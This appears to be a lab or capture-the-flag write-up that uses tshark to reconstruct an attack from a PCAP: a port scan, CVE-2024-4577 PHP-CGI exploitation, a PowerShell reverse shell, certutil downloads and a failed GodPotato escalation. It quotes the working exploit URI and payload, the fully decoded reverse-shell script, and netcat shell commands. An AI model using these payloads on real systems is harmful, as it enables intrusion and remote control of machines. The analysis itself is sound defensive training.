Packet Puzzle

Reconstructing a complete attack chain from a single PCAP file - when port scans lead to PHP exploitation, reverse shells, and failed privilege escalation attempts.

Review

Summary

A junior security analyst at a small Japanese cryptocurrency trading company detects suspicious activity on the internal network. A PCAP file containing 115,166 packets is exported for investigation to determine whether the environment is compromised and to reconstruct the attacker's actions.

The PCAP reveals a complete attack chain: port scanning from 192.168.170.128 discovers 8 open ports on the victim system (192.168.170.130). The attacker exploits CVE-2024-4577 (PHP CGI argument injection) on PHP 8.1.25 running in CGI mode, establishes a PowerShell reverse shell as user "cristo", downloads netcat and GodPotato privilege escalation tools, and attempts privilege escalation that fails due to a file path error.

The attack timeline spans approximately 6 minutes from initial reconnaissance (09:45:27 UTC) through the failed escalation attempt (09:51:43 UTC). Analysis uses tshark and capinfos from the Wireshark suite to identify SYN scan patterns, follow TCP streams for HTTP exploit payloads and server responses, reconstruct the reverse shell session, and correlate timestamps across attack phases.

Key Learning Takeaways

Investigation

PCAP Overview & Orientation

Before diving into traffic analysis, we need to understand what we're working with. capinfos provides a high-level summary of the capture file: how many packets, what time range, and what tool created it.

$ TZ=UTC capinfos NetworkTraffic.pcap

File name:           NetworkTraffic.pcap
File type:           Wireshark/... - pcapng
File encapsulation:  Ethernet
Number of packets:   115 k
File size:           108 MB
Data size:           104 MB
Capture duration:    443.755778 seconds
Earliest packet time: 2025-01-22 09:44:33.209648
Latest packet time:   2025-01-22 09:51:56.965426
Average packet size: 905.07 bytes
Average packet rate: 259 packets/s
SHA256:              eda182c69e92d94a23aeb3798a25ff13aa512bdb215541157216bc7b41e1909a
Capture application: Dumpcap (Wireshark) 4.4.1 (v4.4.1-0-g575b2bf4746e)
Capture oper-sys:    64-bit Windows 10 (22H2), build 19045

About 115,000 packets spanning roughly 7.5 minutes of activity on January 22, 2025. The capture was taken on a Windows 10 machine using Wireshark.

Next, the protocol hierarchy tells us what kinds of traffic are in the capture, which helps decide where to focus.

$ tshark -r NetworkTraffic.pcap -z io,phs -q

===================================================================
Protocol Hierarchy Statistics
Filter:

frame                                    frames:115166 bytes:104233144
  eth                                    frames:115166 bytes:104233144
    ip                                   frames:115100 bytes:104225868
      tcp                                frames:112675 bytes:103140472
        tls                              frames:2841 bytes:2479945
        http                             frames:2094 bytes:1437722
          urlencoded-form                frames:7 bytes:2586
          data                           frames:1037 bytes:921740
        data                             frames:637 bytes:61578
      udp                                frames:2413 bytes:1082941
        dns                              frames:502 bytes:62655
        quic                             frames:1861 bytes:1013389
      icmp                               frames:12 bytes:2455
    arp                                  frames:28 bytes:1518
===================================================================

The capture is dominated by TCP (112,675 frames). Within that, there are 2,094 HTTP frames and 2,841 TLS frames. The 7 urlencoded-form submissions stand out as potentially interesting since POST form data is a common exploitation vector. The 502 DNS queries and QUIC traffic are likely normal browsing activity.

To understand which hosts are communicating and how much data is flowing between them, we look at IP conversations. This immediately highlights the key players.

$ tshark -r NetworkTraffic.pcap -z conv,ip -q | head -15

================================================================================
IPv4 Conversations
Filter:<No Filter>
                                               |       <-      | |       ->      | |     Total     |
                                               | Frames  Bytes | | Frames  Bytes | | Frames  Bytes |
192.168.170.130      <-> 41.231.245.25          30178 42 MB       13622 955 kB      43800 43 MB
192.168.170.130      <-> 199.232.82.172         23525 32 MB       11169 762 kB      34694 33 MB
192.168.170.130      <-> 41.231.245.18          14962 20 MB        7084 462 kB      22046 21 MB
192.168.170.128      <-> 192.168.170.130         1083 91 kB        1332 308 kB       2415 399 kB
192.168.170.130      <-> 23.44.140.117            969 1,152 kB      516 61 kB        1485 1,214 kB
192.168.170.130      <-> 93.186.134.242           625 330 kB        315 83 kB         940 413 kB

The top three conversations by volume (41.231.x.x, 199.232.x.x) are external IPs, likely CDNs or web browsing. But the 4th entry is notable: 192.168.170.128 and 192.168.170.130 are both on the same /24 internal subnet. In tshark's conversation output, the <- column is traffic from the second IP to the first, and -> is first to second. So .128 sent 1,332 frames (308 KB) to .130, and .130 sent back 1,083 frames (91 KB). That many frames at such low byte volume from a single internal host is not normal browsing or file transfer. It looks like high-frequency, small-packet activity, which warrants closer inspection.

Identifying the Attacker & Port Scan

Who Is Sending All These SYN Packets?

The 1,083 frames from 192.168.170.128 in a 7-minute window are suspicious. To check for scanning behavior, we filter for TCP SYN packets with the ACK flag unset. A SYN-only packet is the first step of the TCP three-way handshake and is the hallmark of port scanning tools like nmap.

$ tshark -r NetworkTraffic.pcap \
    -Y "tcp.flags.syn==1 && tcp.flags.ack==0" \
    -T fields -e ip.src | sort | uniq -c | sort -rn

   1083 192.168.170.128
    555 192.168.170.130

192.168.170.128 sent 1,083 SYN-only packets, which is the vast majority of the 1,332 frames it sent to .130. The remaining ~250 frames are from actual TCP connections (HTTP POSTs, ACKs, data transfers) that come later. A host whose traffic is overwhelmingly SYN-only is scanning, not communicating normally. Let's confirm by checking how many unique destination ports those SYNs targeted:

$ tshark -r NetworkTraffic.pcap \
    -Y "tcp.flags.syn==1 && tcp.flags.ack==0 && ip.src==192.168.170.128 && ip.dst==192.168.170.130" \
    -T fields -e tcp.dstport | sort -n | uniq | wc -l

1000

Exactly 1,000 unique ports. That matches the default behavior of nmap's top-1000 port scan. This confirms 192.168.170.128 is the attacker running a TCP SYN scan against 192.168.170.130 (the victim).

Which Ports Responded as Open?

When the victim's OS receives a SYN on an open port, it replies with SYN-ACK. We filter for SYN-ACK packets from the victim back to the attacker to enumerate which ports were open. The sort -n | uniq pipeline deduplicates because later HTTP connections to port 80 also generate SYN-ACKs.

$ tshark -r NetworkTraffic.pcap \
    -Y "tcp.flags.syn==1 && tcp.flags.ack==1 && ip.src==192.168.170.130 && ip.dst==192.168.170.128" \
    -T fields -e tcp.srcport | sort -n | uniq

22
80
135
139
443
445
3389
5357

Eight distinct ports responded with SYN-ACK. To determine which port answered first, we add the timestamp field and look at the chronological order:

$ tshark -r NetworkTraffic.pcap \
    -Y "tcp.flags.syn==1 && tcp.flags.ack==1 && ip.src==192.168.170.130 && ip.dst==192.168.170.128" \
    -T fields -e frame.time -e tcp.srcport | head -8

2025-01-22T09:45:27.987462000+0000	22
2025-01-22T09:45:27.987698000+0000	443
2025-01-22T09:45:27.989216000+0000	445
2025-01-22T09:45:27.989643000+0000	3389
2025-01-22T09:45:27.991438000+0000	139
2025-01-22T09:45:27.991750000+0000	80
2025-01-22T09:45:27.991950000+0000	135
2025-01-22T09:45:28.003142000+0000	5357

All eight ports responded within about 16 milliseconds of each other, starting at 09:45:27 UTC. Port 22 (SSH) was the first to reply. The service breakdown reveals a typical Windows server: RDP (3389), SMB (445/139), RPC (135), and WSD (5357) alongside SSH, HTTP/HTTPS.

Exploitation: CVE-2024-4577

With 8 open ports identified, the attacker targeted port 80 (HTTP). The first step is seeing what web server is running. We extract the HTTP Server response header from the first HTTP response:

$ tshark -r NetworkTraffic.pcap \
    -Y "http.server && ip.src==192.168.170.130" \
    -T fields -e http.server | head -1

Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.1.25

Apache 2.4.58 running on Windows with PHP 8.1.25 and OpenSSL 3.1.3. This is an XAMPP stack. PHP 8.1.25 on Windows in CGI mode is vulnerable to CVE-2024-4577, a critical argument injection vulnerability that allows remote code execution.

Let's examine the exploit requests. We filter for HTTP POST requests from the attacker and extract the full URI. The urlencoded-form entries from the protocol hierarchy correspond to these:

$ TZ=UTC tshark -r NetworkTraffic.pcap \
    -Y "http.request.method==POST && ip.src==192.168.170.128" \
    -T fields -e frame.time -e http.request.full_uri

2025-01-22 09:45:46  http://192.168.170.130/php-cgi/php-cgi.exe?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input
2025-01-22 09:46:30  http://192.168.170.130/php-cgi/php-cgi.exe?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input
2025-01-22 09:47:10  http://192.168.170.130/php-cgi/php-cgi.exe?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input
2025-01-22 09:47:16  http://192.168.170.130/php-cgi/php-cgi.exe?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input
2025-01-22 09:47:22  http://192.168.170.130/php-cgi/php-cgi.exe?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input
2025-01-22 09:47:36  http://192.168.170.130/php-cgi/php-cgi.exe?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input
2025-01-22 09:47:38  http://192.168.170.130/php-cgi/php-cgi.exe?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input

Seven exploit attempts, all targeting the same CVE-2024-4577 endpoint. The URL contains the telltale %AD soft-hyphen bypass. Each request hits /php-cgi/php-cgi.exe with directives to include php://input (the POST body) as a prepended file.

To identify the specific CVE, we check the request structure. The combination of /php-cgi/php-cgi.exe path, %AD soft-hyphen encoding, and allow_url_include/auto_prepend_file directives is the unique fingerprint of CVE-2024-4577.

Now let's look at what code the attacker sent in each POST body. We use tshark to follow the TCP streams for each POST request. The first exploit attempt at 09:45:46 is the RCE test:

$ tshark -r NetworkTraffic.pcap -qz "follow,tcp,ascii,1006" | head -25

POST /php-cgi/php-cgi.exe?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1
Host: 192.168.170.130
Content-Length: 49
Content-Type: application/x-www-form-urlencoded

<?php system("whoami"); ?>

HTTP/1.1 200 OK
Date: Wed, 22 Jan 2025 09:45:46 GMT
Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.1.25
X-Powered-By: PHP/8.1.25
Content-Length: 20

desktop-1d0g22e\cristo

The first payload sends <?php system("whoami"); ?> and gets back desktop-1d0g22e\cristo. The attacker confirmed RCE is working and discovered they're running as user "cristo" on a machine named "desktop-1d0g22e". This is the RCE validation step, not the foothold.

Post-Exploitation: Reverse Shell & Enumeration

Establishing the Reverse Shell

After confirming RCE, the attacker waited ~90 seconds (from 09:45:46 to 09:47:10) before sending the second exploit payload, which establishes a reverse shell. The third through seventh POST requests are refinements/retries. Let's look at the payload that created the persistent connection:

$ tshark -r NetworkTraffic.pcap -qz "follow,tcp,ascii,1010" | head -30

POST /php-cgi/php-cgi.exe?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1
Host: 192.168.170.130
Content-Length: 288
Content-Type: application/x-www-form-urlencoded

<?php
system('powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5A
HMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4Ad
...[base64 truncated]');
?>

A Base64-encoded PowerShell command. The -e flag tells PowerShell to decode and execute the Base64 payload. Decoding the full Base64 string reveals a classic TCP reverse shell:

$client = New-Object System.Net.Sockets.TCPClient('192.168.170.128',4444);
$stream = $client.GetStream();
[byte[]]$bytes = 0..65535|%{0};
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){
    $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i);
    $sendback = (iex $data 2>&1 | Out-String );
    $sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';
    $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
    $stream.Write($sendbyte,0,$sendbyte.Length);
    $stream.Flush()
};
$client.Close()

A textbook PowerShell reverse shell connecting back to 192.168.170.128 on port 4444. It reads commands from the TCP stream, executes them with iex, and sends back the output along with a prompt string showing the current directory.

Identifying the Victim User

We already saw from the whoami output that the attacker is running as desktop-1d0g22e\cristo. The compromised user is "cristo".

Timing the Initial Foothold

The "initial foothold" is when the attacker gained persistent access, not when they first tested RCE. The reverse shell on port 4444 represents the real foothold. We find the exact timestamp of the first TCP SYN packet initiating the reverse shell connection:

$ TZ=UTC tshark -r NetworkTraffic.pcap \
    -Y "tcp.dstport==4444 && ip.dst==192.168.170.128 && tcp.flags.syn==1 && tcp.flags.ack==0" \
    -T fields -e frame.time -e ip.src -e ip.dst -e tcp.srcport -e tcp.dstport

2025-01-22 09:47:12.834798  192.168.170.130  192.168.170.128  49979  4444

The victim (192.168.170.130) initiated the reverse shell connection at 2025-01-22 09:47:12 UTC. This is the initial foothold timestamp, approximately 2 minutes after the port scan began.

Privilege Escalation: GodPotato

Reconstructing the Reverse Shell Session

Once the reverse shell is active on port 4444, we can follow that TCP stream to see every command the attacker executed and every response they received. This is the stream that reveals all post-exploitation activity:

$ tshark -r NetworkTraffic.pcap \
    -Y "tcp.port==4444 && ip.addr==192.168.170.128" \
    -T fields -e tcp.stream | head -1

1012

$ tshark -r NetworkTraffic.pcap -qz "follow,tcp,ascii,1012"

whoami
desktop-1d0g22e\cristo
PS C:\xampp\htdocs> cd c:\Users\cristo\Downloads
PS C:\Users\cristo\Downloads> certutil -urlcache -split -f "http://192.168.170.128/nc.exe" nc.exe
****  Online  ****
  0000  ...
  e800
CertUtil: -URLCache command completed successfully.
PS C:\Users\cristo\Downloads> certutil -urlcache -split -f "http://192.168.170.128/GodPotato-NET4.exe" god.exe
****  Online  ****
  0000  ...
  e800
CertUtil: -URLCache command completed successfully.
PS C:\Users\cristo\Downloads> .\god.exe -cmd "C:\Users\cristo\Downloads\nc.exe -e cmd 192.168.170.128 5555"
[*] CombaseInitialize ok
[*] CoGetInstanceFromIStorage ok
[*] Marshal Object bytes len:2584
[*] UnMarshal Object ok
[*] CreateProcessAsUser Failed Win32Error:2
PS C:\Users\cristo\Downloads>

The full session reveals a clear attack progression:

1. whoami to confirm identity
2. cd c:\Users\cristo\Downloads to navigate to a writable directory
3. certutil to download nc.exe (netcat) from the attacker's HTTP server
4. certutil to download GodPotato-NET4.exe as god.exe
5. Run GodPotato to attempt privilege escalation to SYSTEM via netcat reverse shell on port 5555

Identifying the Downloaded Tool

To confirm what privilege escalation tool was used, we look at the HTTP download requests from the reverse shell session. The certutil -urlcache -split -f commands generate standard HTTP GET requests:

$ TZ=UTC tshark -r NetworkTraffic.pcap \
    -Y "http.request.method==GET && ip.src==192.168.170.130 && ip.dst==192.168.170.128" \
    -T fields -e frame.time -e http.request.full_uri

2025-01-22 09:49:49  http://192.168.170.128/nc.exe
2025-01-22 09:50:42  http://192.168.170.128/GodPotato-NET4.exe

The attacker downloaded nc.exe at 09:49:49 and GodPotato-NET4.exe at 09:50:42. The tool was saved as god.exe locally (visible in the certutil command), but the original download filename confirms it's GodPotato targeting .NET 4.

Why the Escalation Failed

The GodPotato output shows the DCOM/RPC steps succeeded: the COM base initialized, the object was marshaled and unmarshaled. But the final step failed:

[*] CombaseInitialize ok
[*] CoGetInstanceFromIStorage ok
[*] Marshal Object bytes len:2584
[*] UnMarshal Object ok
[*] CreateProcessAsUser Failed Win32Error:2

Win32Error:2 is ERROR_FILE_NOT_FOUND. GodPotato successfully impersonated the SYSTEM token but could not create the process because the command path resolution failed. The -cmd argument used a relative path (C:\Users\cristo\Downloads\nc.exe) which may not have resolved correctly in the SYSTEM context, or the file was not where expected.

Timestamp of the Failed Escalation

To determine when GodPotato was executed, we look at the last meaningful activity in the reverse shell. Using tshark to find the timestamp of the GodPotato output in the stream:

$ TZ=UTC tshark -r NetworkTraffic.pcap \
    -Y "tcp.stream==1012 && data.data contains 43:72:65:61:74:65:50:72:6f:63:65:73:73" \
    -T fields -e frame.time

2025-01-22 09:51:43

The GodPotato execution failed at 09:51:43 UTC, roughly 4.5 minutes after the initial foothold and approximately 6 minutes after the port scan began. This is the last significant event in the capture.

Answer Summary

Attack Chain Timeline

The complete attack chain from initial reconnaissance to the failed privilege escalation attempt, spanning approximately 6 minutes.

Additional Resources

• CVE-2024-4577 - NVD Entry - Official NIST vulnerability details and CVSS scoring
• tshark Documentation - Command-line packet analyzer reference
• capinfos Documentation - Capture file statistics tool reference
• GodPotato GitHub - SeImpersonatePrivilege exploitation tool
• MITRE ATT&CK T1190 - Exploit Public-Facing Application technique
• watchTowr Labs CVE-2024-4577 Analysis - Detailed technical analysis of the PHP CGI bypass